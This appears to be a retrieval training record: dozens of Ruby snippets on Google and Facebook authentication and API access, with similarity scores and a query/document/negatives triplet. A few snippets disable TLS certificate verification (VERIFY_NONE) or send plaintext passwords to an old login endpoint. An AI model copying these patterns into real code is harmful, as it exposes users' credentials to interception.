engine_id = CSE_ENGINE_ID\n # \"011724650152002634172:r-e9bq2ubda\"\n uri = URI(\"https://www.googleapis.com/customsearch/v1?cx=#{engine_id}&q=#{query}&key=#{key}\")\n\n # GET request\n request = Net::HTTP::Get.new(uri)\n\n # Receive response\n res = Net::HTTP.get_response(uri)\n\n # Parse JSON file and converts to hash\n json = JSON.parse(res.body)\n items = json['items']\n\n # Iterate through JSON/items array and print each index\n i = 0\n loop do\n puts (i+1).to_s + \" -- \" + items[i]['title']\n # puts items[i]['link'] # url\n # puts items[i]['snippet'] # snippet of article\n i += 1\n if i == items.length\n break\n end\n end\n end", "def fetch_user_google_calendars\n user_gcalendars = []\n if current_user.connected_to_google? && current_user.has_google_credentials?\n begin\n gcw = GoogleCalendarWrapper.new(current_user)\n gcw.import_calendars\n user_gcalendars = current_user.google_calendars\n rescue => e\n logger.error {\"#{e.message} #{e.backtrace.join(\"\\n\")}\"}\n current_user.update_attributes(connected_to_google: false)\n flash[:error] = \"We were not able to fetch data from #{current_user.name}'s Google account.\"\n end\n end\n user_gcalendars\n end", "def sign_in_with_google(username, password)\n self.google_sign_in.click\n sleep 2\n $browser.send_keys username\n $browser.send_keys :enter\n sleep 2\n $browser.send_keys password\n $browser.send_keys :enter\n return BoardsPage.new $browser\n end", "def connect(user)\r\n uri = URI('https://www.google.com/accounts/ClientLogin')\r\n post = Net::HTTP::Post.new uri.path\r\n post.set_form_data('Email' => user.name, 'Passwd' => user.password, 'service' => 'youtube', 'source' => 'devapp')\r\n response = nil\r\n Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\r\n response = http.request post\r\n raise BadPasswordError, \"Bad password for, #{user.name}.\" if response.body.start_with?('Error')\r\n\r\n user.token = response.body.to_s.slice(/Auth=(.*)/, 1)\r\n end\r\n\r\n puts user.token\r\n puts response\r\n return response\r\n end", "def google_oauth2\n\t\n\t\t#~ raise request.env[\"omniauth.auth\"].to_yaml\n\t\n # This method is implemented in app/models/user.rb\n @user = User.from_omniauth_google(request.env[\"omniauth.auth\"])\n\t\t\n if @user.persisted?\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Google\") if is_navigational_format?\n else\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url #redirects to sign up if unsuccessful\n end\n end", "def credential(url); end", "def user_token\n google_account.id.to_s\n end", "def google_listing(client)\n notify \"Run Google Listing..\"\n escaped_path = @fields[:path]\n decoded_path = CGI::unescape(escaped_path)\n # this result is in hash format\n result = client.listing_path(decoded_path)\n return result\n end", "def third_party_credential(url); end", "def fetch(url)\n response = RestClient.get(url)\n data = JSON.parse(response)\n @google_results = data[\"results\"].first(15).map do |result|\n {\n name: result[\"name\"],\n address: result[\"formatted_address\"],\n coordinates: {\n latitude: result[\"geometry\"][\"location\"][\"lat\"],\n longitude: result[\"geometry\"][\"location\"][\"lng\"]\n },\n opening_hours: result[\"opening_hours\"],\n type: result[\"types\"].first,\n rating: result[\"rating\"]\n }\n end\n @google_results\n end", "def create_google\n @user = GetOauthUser.new(:service_hash => omniauth_hash).call\n\n if @user\n establish_session @user\n redirect_to return_location\n else\n redirect_to sign_in_url, :notice => \"Error signing in\"\n end\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def get_google_access_token(oauth)\n client = Google::APIClient.new(application_name: oauth[:app_name], application_version: oauth[:app_version])\n auth = client.authorization\n auth.client_id = oauth[:client_id]\n auth.client_secret = oauth[:client_secret]\n auth.scope = 'https://www.googleapis.com/auth/drive https://spreadsheets.google.com/feeds/'\n auth.redirect_uri = 'urn:ietf:wg:oauth:2.0:oob'\n if File.exist? TOKEN_CACHE\n auth.refresh_token = YAML.load(File.read(TOKEN_CACHE))\n else\n print(\"1. Open this page:\\n%s\\n\\n\" % auth.authorization_uri)\n print('2. Enter the authorization code shown: ')\n open_browser(auth.authorization_uri)\n auth.code = $stdin.gets.chomp\n end\n auth.fetch_access_token!\n File.open(TOKEN_CACHE, 'w') {|f| f.write(YAML.dump(auth.refresh_token)) }\n auth.access_token\nend", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n split_email = email.split(\"@\")\n username = split_email[0]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n refresh_token = hash[\"credentials\"][\"refresh_token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_google)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, refresh_token, email, gamer.id)\n flash[:success] = t(:signed_in_google)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = refresh_token\n flash[:info] = t(:continue_reg_google)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n flash[:error] = t(:connected_to_google)\n redirect_to root_url\n end\n else\n flash[:error] = t(:oops_error_google)\n redirect_to root_url\n end\n end", "def google_session\n google_service_account_credential_file = 'pennypoll-d23e19e91329.json'\n\n GoogleDrive::Session.from_service_account_key(\n google_service_account_credential_file\n )\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def google_login(email, password)\n url = 'https://www.google.com/accounts/ClientLogin'\n source = \"KcK-GooglePicasaPreview-1.0.0\"\n # service=lh2 is a Picasa service\n # https://developers.google.com/gdata/faq#clientlogin\n params = 'accountType=HOSTED_OR_GOOGLE' \\\n \"&Email=#{email}\" \\\n \"&Passwd=#{password}\" \\\n '&service=lh2' \\\n \"&source=#{source}\"\n\n response = http_request(:post, url, params)\n\n if response.code =~ /20[01]/\n reset_captcha!\n self.user = email\n /Auth=([[:alnum:]_\\-]+)\\n/ =~ response.body.to_s\n self.token = $1\n else\n self.user = self.token = nil\n errors = scan_body_for_errors(response.body)\n # set captcha = true if captcha error comes from the service. We will tell user to unlock captcha for login redirecting to unlock captcha url\n # unlock captcha url: https://www.google.com/accounts/DisplayUnlockCaptcha\n self.captcha = true if errors.include?('CaptchaRequired')\n raise Picasa::PicasaLoginError, \"The request for login has failed. (#{errors.to_sentence})\"\n end\n end", "def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end", "def googleplus_url; \"https://plus.google.com/#{googleplus}\" end", "def apiCall(token)\n # Authorize the client and construct a Google+ service.\n $client.authorization.update_token!(token)\n plus = $client.discovered_api('plus', 'v1')\n\n # Get the list of people as JSON and return it.\n response = $client.execute!(plus.people.get, :userId => 'me').body\n puts response.inspect\nend", "def load_profile(token)\n profile = GoogleService.user_info(token)\n email_field = profile[\"emails\"].select do |email| \n email[\"type\"] == \"account\"\n end\n\n email = email_field[0][\"value\"] if email_field && email_field.size > 0\n\n {:displayName => profile[\"displayName\"],\n :image => profile[\"image\"][\"url\"],\n :url => profile[\"url\"],\n :email => email} \n end", "def create_from_google(user_info)\n @user = User.find_or_create_by(uid: user_info[\"uid\"]) do |u|\n u.name = user_info[\"info\"][\"name\"]\n u.email = user_info[\"info\"][\"email\"]\n u.image_url = user_info[\"info\"][\"image\"]\n u.password = \"none\"\n end # Find or create user from Google data\n\n session[:user_id] = @user.id # Log user in by adding id to session hash\n redirect_to user_path(@user) # redirect to user show page\n end", "def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def get_user_data(user_name)\n puts \"Please wait was your profile data is retrieved\"\n response = Net::HTTP.get_response(\"teamtreehouse.com\", \"/#{user_name}.json\")\n user_data = JSON.parse(response.body)\n puts \"Data retrieved!\"\n return user_data\nend", "def authenticate_google\n if not session[:username] or not session[:password]\n redirect_to :action => :login and return\n end\n @account = Service.new()\n @account.debug = true\n @account.authenticate(session[:username], session[:password])\n @calendars = service.calendars\n end", "def getGoogleID(location, dbl)\n return dbl.getgID(\"../Booru/#{location}\")\nrescue NoMethodError\nend", "def google(m, query)\n m.reply(search(query))\n end", "def scrape\n google_url = create_google_url\n google_data = Scrubyt::Extractor.define do\n fetch google_url\n\n link_title \"//a[@class='l']\", :write_text => true do\n link_url\n end\n end\n google_data.to_hash.map {|r| r[:link_url]}\n end", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the \" \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def user_api\n Google::Apis::PlusV1::PlusService.new\n end", "def google_oauth(access_token)\n user_info = access_token.extra.raw_info\n external_user_id = user_info.id\n email = user_info.email\n account = self.by_google_id(external_user_id).first || self.by_google_email(email).first\n if account.blank?\n account = self.new\n account.email = email\n account.provider = Provider::GOOGLE\n account.external_user_id = user_info.id\n account.skip_confirmation!\n account.build_profile :first_name => user_info.given_name, :last_name => user_info.family_name\n if user_info.gender.present?\n gender = Gender.enumeration[user_info.gender.to_sym]\n account.profile.gender = gender.first if gender\n end\n account.save\n end\n account\n end", "def google #find or create a user using the attrs sent by google\n @user = User.find_or_create_by(email: auth[\"info\"][\"email\"]) do |user|\n user.username = auth[\"info\"][\"first_name\"]\n user.password = SecureRandom.hex(10) #assigns random password to the user\n end \n if @user.save\n session[:user_id] = @user.id #set the session id which logs them in\n redirect_to user_path(@user.id)\n else \n flash[:message] = 'There was a problem signing you in through Google. Please register or try signing in later.'\n redirect_to '/login' #if user doesn't save redirect to homepage\n end \n end", "def google_oauth\n return nil if @oauth_attempted\n @oauth_attempted = true\n\n path = \"#{ENV['HOME']}/.config/#{::Google::Auth::CredentialsLoader::WELL_KNOWN_PATH}\"\n FileUtils.mkdir_p(File.dirname(path))\n storage = GoogleStorage.new(::Google::APIClient::FileStore.new(path))\n\n options = {\n client_id: @google_id.id,\n client_secret: @google_id.secret,\n scope: %w[openid email]\n }\n uri_options = {include_granted_scopes: true}\n uri_options[:hd] = @domain if @domain\n uri_options[:access_type] = 'online' if @online\n\n credentials = ::Google::Auth::UserRefreshCredentials.new(options)\n credentials.code = get_oauth_code(credentials, uri_options)\n credentials.fetch_access_token!\n credentials.tap(&storage.method(:write_credentials))\n end", "def google_sign_in(user)\n\t\t# Already created user from google acc\n\t\tsession[:user_id]=user.id\n\t\t# directed back to session_controller.\n\tend", "def getToolsSyndicateGoogle( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/google\",params)\n end", "def connect_gplus\n\t auth = request.env[\"omniauth.auth\"]\n\t current_member.gplus_id = auth[\"uid\"]\n current_member.gplus_token = auth.credentials.token\n if auth.info.image.present?\n current_member.username = auth.info.name\n current_member.img_url = auth.info.image\n end\n current_member.gplus_refresh_token = auth.credentials.refresh_token\n current_member.gplus_token_expires_at = auth.credentials.expires_at\n\t current_member.save\n\t GoogleModel.store_urls(current_member)\n\t redirect_to members_social_sign_up_path\t\n end", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n\r\n # launch default browser to approve request of initial OAuth2 authorization\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n\r\n credentials\r\nend", "def redirect_to_google_auth(redirect)\n # initiate authentication w/ gmail\n # create url with url-encoded params to initiate connection with contacts api\n next_param = redirect\n scope_param = \"http%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F\"\n secure_param = \"0\"\n session_param = \"1\"\n root_url = \"https://www.google.com/accounts/AuthSubRequest\"\n query_string = \"?scope=#{scope_param}&session=#{session_param}&secure=#{secure_param}&next=#{URI::encode(next_param)}\"\n redirect_to root_url + query_string\n end", "def googleAuth\n access_token = request.env[\"omniauth.auth\"]\n @user = User.from_omniauth(access_token)\n @user.save\n @user.google_token = access_token.credentials.token\n refresh_token = access_token.credentials.refresh_token\n @user.google_refresh_token = refresh_token if refresh_token.present?\n session[:user_id] = @user.id\n redirect_to contacts_path\n end", "def search_results\n GoogleSearchResults.instance\n end", "def google \n if params[:token]\n # make sure the syncsource does not exist with this token for this user\n # e.g. the user hits reload. If so, we just show the syncsource\n # SyncSourceGoogle.find_all_by_user_id(current_user).each do |s|\n # if s.token == token\n # @sync_source = s\n # break\n # end\n # end\n # no sync source for this token? create a new one\n @sync_source = SyncSourceGoogle.new\n @sync_source.user = current_user\n\n # convert token to a session token, which does not expire\n token = Contacts::Google.session_token(params[:token])\n unless token.blank?\n @sync_source.configuration = token\n @sync_source.save\n end\n end\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\"\n puts url\n puts \"\"\n puts \"paste code here:\"\n code = gets\n\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def login()\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.readline()\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def user_email\n @gapi.user_email\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def run\n super\n \n #\n # Do the google search\n #\n results = GSearchParser.webSearch(@object.name.gsub(\" \",\"%20\"))\n \n results.each do |r|\n #\n # Parse the results for known patterns \n #\n \n # Check to see if this is a twitter result&\n # grab the username if so\n if r.title =~ /on Twitter/\n \n @task_logger.log \"Found a twitter account! (#{r.title}\"\n account_name = r.title.gsub(/<.?em>/,\"\").split(\"@\").last.split(\")\").first\n \n @task_logger.log_good \"Storing a twitter account! (#{account_name})\"\n @object.usernames << account_name\n \n @object.save\n end\n\n # TODO - we can do the same thing with the linkedin URL, but we'll need to tweak\n # gsearch-parser in order to get it out\n\n end\n \n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def import\n # GET http://www.google.com/m8/feeds/contacts/default/base\n token = params[:token]\n uri = URI.parse(\"https://www.google.com\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = \"/m8/feeds/contacts/default/full?max-results=10000\"\n headers = {'Authorization' => \"AuthSub token=#{token}\", 'GData-Version' => \"3.0\"}\n resp, data = http.get(path, headers)\n # extract the name and email address from the response data\n # HERE USING REXML TO PARSE GOOGLE GIVEN XML DATA\n xml = REXML::Document.new(data)\n contacts = []\n xml.elements.each('//entry') do |entry|\n person = {}\n person['name'] = entry.elements['title'].text\n gd_email = entry.elements['gd:email']\n logger.debug(entry)\n if gd_email\n person['email'] = gd_email.attributes['address'] \n @user.profile.contacts << person if person\n end \n end\n @user.profile.save\n redirect_to root_url , :notice => \"imported successfully\"\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def request_token_from_google\n url = URI(\"https://accounts.google.com/o/oauth2/token\")\n Net::HTTP.post_form(url, {\n 'refresh_token' => refresh_token,\n 'client_id' => ENV['GOOGLE_CLIENT_ID'],\n 'client_secret' => ENV['GOOGLE_CLIENT_SECRET'],\n 'grant_type' => 'refresh_token'\n })\n end", "def get_email_from_access_token(google_access_token)\n data= {\n :access_token => google_access_token,\n :fields => 'email' # specify we only want the email\n } \n r = RestClient.post GOOGLE_OAUTH_TOKEN_VALIDATION_URL, data\n json = JSON.parse(r.body)\n puts \"\\n#{json['email']}\\n\"\n json['email']\nend", "def get_user_code\n data = {\n :client_id => @a_conf[:client_id],\n :scope => 'https://www.googleapis.com/auth/calendar',\n }\n #puts \"Data for get_user_code\"\n #pp data\n\n json = RestClient.post \"https://accounts.google.com/o/oauth2/device/code\", data\n response = JSON.parse(json)\n #puts response.inspect\n if response[\"device_code\"]\n puts \"__________ go to #{response[\"verification_url\"]} and use code #{response[\"user_code\"]} _________\"\n @conf[:oauth][:device_code] = response[\"device_code\"]\n @conf[:oauth][:user_code] = response[\"user_code\"]\n @conf[:oauth][:verification_url] = response[\"verification_url\"]\n @conf[:oauth][:verification_interval] = response[\"interval\"].to_i\n @conf[:oauth][:verification_expires_in] = response[\"expires_in\"].to_i\n @conf[:oauth][:verification_interval_start] = Time.now\n else\n # No Token\n end\n rescue RestClient::BadRequest => e\n puts \"Bad request for 'get_user_code'\"\n puts e.message\n #puts e.backtrace\n rescue => e\n puts 'Something else bad happened during get_user_code'\n puts e.message\n #puts e.backtrace\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(\"credentials.json\")\n token_store = Google::Auth::Stores::FileTokenStore.new(file: \"token.yaml\")\n authorizer = Google::Auth::UserAuthorizer.new(client_id, Google::Apis::GmailV1::AUTH_GMAIL_READONLY, token_store)\n user_id = \"default\"\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: \"urn:ietf:wg:oauth:2.0:oob\")\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: \"urn:ietf:wg:oauth:2.0:oob\"\n )\n end\n credentials\nend", "def dologin(email,passwd)\n\t\t@email = email\n\t\t@password = passwd\n\t\t@http.clear\n\t\thttp = Net::HTTP.new('www.google.com',443)\n\t\thttp.open_timeout = 3 # in seconds\n\t\thttp.read_timeout = 3 # in seconds\n\t\thttp.use_ssl = true\n\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\tresponse = http.send_request(\"POST\",\n\t\t\t\t\t 'https://www.google.com/accounts/ClientLogin',\n\t\t\t\t\t \"accountType=HOSTED&Email=#{email}&Passwd=#{passwd}&service=apps\"\n\t\t\t\t\t )\n\t\t\t\t\t @http.set(response)\n\t\t\t\t\t tmat = response.body.match(/^Auth=(.+)$/)\n\t\t\t\t\t if tmat\n\t\t\t\t\t\t @authtok = tmat[1]\n\t\t\t\t\t else\n\t\t\t\t\t\t raise AuthenticationError, \"Authentication Failed\"\n\t\t\t\t\t end\n\tend" ]
[ "0.70599234", "0.68542886", "0.6695554", "0.65548927", "0.6415024", "0.62403667", "0.6227571", "0.6159301", "0.61578625", "0.6132184", "0.61205184", "0.60578567", "0.60172325", "0.60172325", "0.60036004", "0.5971567", "0.5946125", "0.59445536", "0.59415406", "0.5934195", "0.5930674", "0.58893716", "0.5876368", "0.5833332", "0.5809378", "0.57976997", "0.5785185", "0.5785185", "0.5785185", "0.5785185", "0.5785185", "0.57794094", "0.5778398", "0.5750838", "0.57293344", "0.5714264", "0.5705019", "0.56956446", "0.5678795", "0.56783557", "0.56707877", "0.5659224", "0.5656888", "0.5651102", "0.5625543", "0.5625543", "0.5625543", "0.5625543", "0.5619784", "0.56134504", "0.56033945", "0.5590893", "0.5588202", "0.5587689", "0.55839205", "0.5582289", "0.55758125", "0.5539799", "0.5537309", "0.55328673", "0.5531226", "0.5528904", "0.5525805", "0.5517409", "0.5502819", "0.54997474", "0.54966295", "0.5482303", "0.5474154", "0.54653084", "0.54566145", "0.5454613", "0.54500633", "0.5447662", "0.5445251", "0.5444698", "0.54437107", "0.54215556", "0.542143", "0.54067713", "0.5406472", "0.53841585", "0.5382764", "0.5382764", "0.53783554", "0.53649575", "0.53605014", "0.53576183", "0.53576183", "0.53576183", "0.53576183", "0.5356456", "0.5354945", "0.535438", "0.5353326", "0.53498673", "0.53461975", "0.53388876" ]
0.5469474
71
grab facebook to access facebook for user data
def fb_token x = self.authentications.where(:provider => :facebook).first return x.token unless x.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook\n @fb_user ||= FbGraph::User.me(self.authentications.find_by_provider('facebook').token)\n @fb_user.fetch\n end", "def fetch_details_from_facebook\n\t\t# graph = Koala::Facebook::API.new(self.token)\n\t\t# facebook_data = graph.get_object(\"me\")\n\t\t# self.username = facebook_data['username']\n\t\t# self.save\n\t\t# self.user.username = facebook_data['username'] if self.user.username.blank?\n\t\t# self.user.image = \"http://graph.facebook.com/\" + self.username + \"/picture?type=large\" if self.user.image.blank?\n\t\t# self.user.location = facebook_data['location'] if self.user.location.blank?\n\t\t# self.user.save\n\t\tself.user.has_facebook = true\n\t\tself.user.save\n\tend", "def grab_info(name)\n\n\n\n\n result = HTTParty.get(\"https://graph.facebook.com/#{name}\")\n\n user_fb = JSON.parse(result)\n\n# id = result[\"id\"]\n# name = result[\"name\"]\n# gender = result[\"gender\"]\n# locale = result[\"locale\"]\n# un = result[\"username\"]\n\nend", "def userinfo(access_token) \n querystr = \"https://graph.facebook.com/me?access_token=\"+access_token\n\n uri = URI.parse(URI.encode(querystr))\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n result = JSON.parse(response.body)\n myinfo = {}\n if result['name']\n myinfo['name']=result['name']\n myinfo['fbid']=result['id']\n end\n return myinfo\n end", "def parse_facebook_user_data\n access_token = facebook_client.web_server.access_token(params[:code],\n :redirect_uri => Settings.authentication.facebook.callback_url)\n JSON.parse(access_token.get('/me'))\n end", "def facebook\n @fb_user ||= FbGraph::User.me( self.authentications.find_by_provider('facebook').token)\n end", "def facebook\n\n end", "def index\n @graph = Koala::Facebook::API.new(session[:fb_access_token])\n profile = @graph.get_object(\"me\")\n puts profile\n end", "def facebook\n end", "def fetch_details_from_facebook\n graph = Koala::Facebook::API.new(self.token)\n facebook_data = graph.get_object(\"me\")\n self.username = facebook_data['username']\n self.save\n end", "def login_from_facebook\n fb_cookie = get_facebook_cookie\n return unless fb_cookie and fb_cookie[\"uid\"]\n\n #uid : 